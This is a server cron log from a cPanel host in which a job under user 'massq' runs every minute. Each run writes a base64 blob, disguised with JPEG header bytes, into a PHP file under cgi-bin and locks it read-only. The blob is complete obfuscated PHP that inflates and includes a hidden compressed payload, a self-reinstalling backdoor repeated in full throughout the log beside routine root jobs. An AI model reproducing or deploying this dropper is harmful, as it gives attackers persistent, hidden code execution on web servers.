Sep  4 12:39:01 server CROND[16629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:39:01 server CROND[16630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:39:01 server CROND[16632]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 12:39:01 server CROND[16631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:40:01 server CROND[17016]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:40:01 server CROND[17019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:40:01 server CROND[17020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:40:01 server CROND[17018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:40:01 server CROND[17023]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:40:01 server CROND[17021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:40:01 server CROND[17024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:40:01 server CROND[17022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:41:01 server CROND[17844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:41:01 server CROND[17843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:41:01 server CROND[17845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:42:01 server CROND[18259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:42:01 server CROND[18258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:42:01 server CROND[18260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:42:01 server CROND[18261]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 12:43:01 server CROND[18636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:43:01 server CROND[18637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:43:01 server CROND[18638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:44:01 server CROND[19107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:44:01 server CROND[19106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:44:01 server CROND[19108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:45:01 server CROND[19493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:45:01 server CROND[19495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:45:01 server CROND[19496]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:45:01 server CROND[19499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:45:01 server CROND[19498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:45:01 server CROND[19497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:45:01 server CROND[19500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:46:01 server CROND[20322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:46:01 server CROND[20323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:46:01 server CROND[20324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:47:01 server CROND[20684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:47:01 server CROND[20685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:47:01 server CROND[20686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:48:01 server CROND[21068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:48:01 server CROND[21069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:48:01 server CROND[21067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:49:01 server CROND[21541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:49:01 server CROND[21542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:49:01 server CROND[21543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:50:01 server CROND[21924]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:50:01 server CROND[21925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:50:01 server CROND[21926]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:50:01 server CROND[21935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:50:01 server CROND[21950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:50:01 server CROND[21948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:50:01 server CROND[21951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
